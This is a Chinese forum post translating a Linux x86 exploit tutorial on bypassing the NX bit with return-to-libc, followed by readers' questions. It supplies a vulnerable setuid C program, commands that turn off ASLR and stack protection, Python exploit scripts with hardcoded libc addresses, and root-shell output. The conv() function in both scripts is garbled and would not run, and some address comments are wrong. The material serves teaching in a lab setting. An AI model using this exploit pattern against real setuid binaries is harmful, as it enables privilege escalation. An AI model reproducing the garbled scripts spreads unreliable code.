首页
社区
课程
招聘
[翻译] Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)
2017-4-10 21:32 8411

[翻译] Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)

2017-4-10 21:32
8411

使用return-to-libc绕过NX bit

前提条件:

经典的基于堆栈的缓冲区溢出

虚拟机安装:Ubuntu 12.04(x86)

在以前的帖子中,我们看到了这个攻击者

     -复制shellcode堆栈并跳转到它!

为了成功利用漏洞代码。为了阻止攻击者的行动,安全研究人员提出了一个名为“NX Bit”的漏洞缓解!

什么是NX Bit?

它是一种利用缓解技术,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。

在NX bit打开的情况下,我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。但是现在由于堆栈不再可执行,我们的漏洞利用失败!但是这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过NX Bit!

漏洞代码:此代码与以前发布的漏洞代码相同,稍作修改。稍后我会谈谈需要修改的内容。

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
 char buf[256]; /* [1] */ 
 strcpy(buf,argv[1]); /* [2] */
 printf("%s\n",buf); /* [3] */
 fflush(stdout);  /* [4] */
 return 0;
}


编译命令:


#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意:“-z execstack”参数不传递给gcc,因此现在堆栈是非可执行的,可以验证如下所示:

$ readelf -l vuln
...
Program Headers:
 Type      Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
 PHDR      0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
 INTERP    0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
 [Requesting program interpreter: /lib/ld-linux.so.2]
 LOAD      0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
 LOAD      0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
 DYNAMIC   0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
 NOTE      0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
 ...
 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
 GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$

堆栈段只包含RW标志,无E标志!

如何绕过NX位并实现任意代码执行?

可以使用叫做“return-to-libc”的攻击技术绕过NX bit。这里返回地址被一个特定的libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用system()地址覆盖返回地址,并在堆栈中设置system()所需的相应参数,以便成功调用它。

在已经反汇编并绘制了漏洞代码的堆栈布局后,让我们编写一个漏洞代码来绕过NX位!

漏洞代码:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 
#For example system address = libc base address + system offset
#where 
       #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
       #system offset     = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
system = 0xb7e61060        #0xb7e2000+0x0003f060
exit = 0xb7e54be0          #0xb7e2000+0x00032be0
#system_arg points to 'sh' substring of 'fflush' string. 
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d     #(obtained from hexdump output of the binary)
#endianess conversion
def conv(num):
 return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的exploit程序给我们root shell,如下所示:

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$


宾果,我们得到了root shell!但是在实际应用中,由于root setuid程序会采用最小权限的原则,它并不容易。

什么是最小权限原则?

此技术允许root setuid程序仅在需要时获取root权限。这指的是当需要时,获得root权限,当不需要它们时,它将丢弃获得的root权限。正常做法是root setuid程序之后,用户获取输入之前删除root权限。因此,即使用户输入是恶意的,攻击者也不会得到root shell。例如下面的漏洞代码不允许攻击者获取root shell。

漏洞代码:

//vuln_priv.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */ 
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}


当我们尝试使用下面的漏洞利用代码来利用它时,以上漏洞的代码不会给出root shell。

#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e61060
exit = 0xb7e54be0
system_arg = 0x804829d
#endianess conversion
def conv(num):
 return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln_priv", buf])


注意:exp_priv.py是exp.py的略微修改的版本 !只是system_arg变量被调整了!

$ python exp_priv.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$

这是隧道的尽头吗?如何利用应用最小权限原则的root setuid程序?

对于漏洞代码(vuln_priv),我们的利用代码(exp_priv.py)正在调用system,随后退出,发现它不足以获取root shell。但是如果我们的利用代码(exp_priv.py)被修改为调用以下libc函数(按照列出的顺序)

    seteuid(0)

    system(“sh”)

    exit()

我们将获得root shell。这种技术被称为链接到libc!



阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞2
打赏
分享
最新回复 (7)
雪    币: 346
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
OnlyForU 2017-4-11 14:52
2
0
学习!
雪    币: 791
活跃值: (404)
能力值: ( LV4,RANK:51 )
在线值:
发帖
回帖
粉丝
gxkyrftx 2018-5-26 17:30
3
0
请问大家  system_arg=“xxxxxxxx”,怎么找到的,thanks
雪    币: 3170
活跃值: (129)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
我是一条咸鱼 2018-8-8 13:36
4
0
wx_哈哈哈 请问大家 system_arg=“xxxxxxxx”,怎么找到的,thanks
gdb调试,printf出system的地址
雪    币: 871
活跃值: (627)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
八岛 1 2018-11-20 16:36
5
0
灵音 gdb调试,printf出system的地址
这个有点麻烦,还不如libc中去找偏移
雪    币: 2337
活跃值: (10053)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
jmpcall 3 2019-2-22 14:45
6
0
wx_哈哈哈 请问大家 system_arg=“xxxxxxxx”,怎么找到的,thanks
exp.py的注释中写了
雪    币: 2337
活跃值: (10053)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
jmpcall 3 2019-2-22 15:00
7
0
应该是fflu"sh"中的"sh"在vuln中的偏移,+0x8048000吧。
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wintrysec 2019-3-1 14:39
8
0
exit = 0xb7e54be0          #0xb7e2000+0x00032be0
这句中的,0x00032be0,是什么意思,如何获取
我用 gdb> p exit 打印出了地址,但是exp并不奏效

最后于 2019-3-1 15:32 被wintrysec编辑 ,原因:
游客
登录 | 注册 方可回帖
返回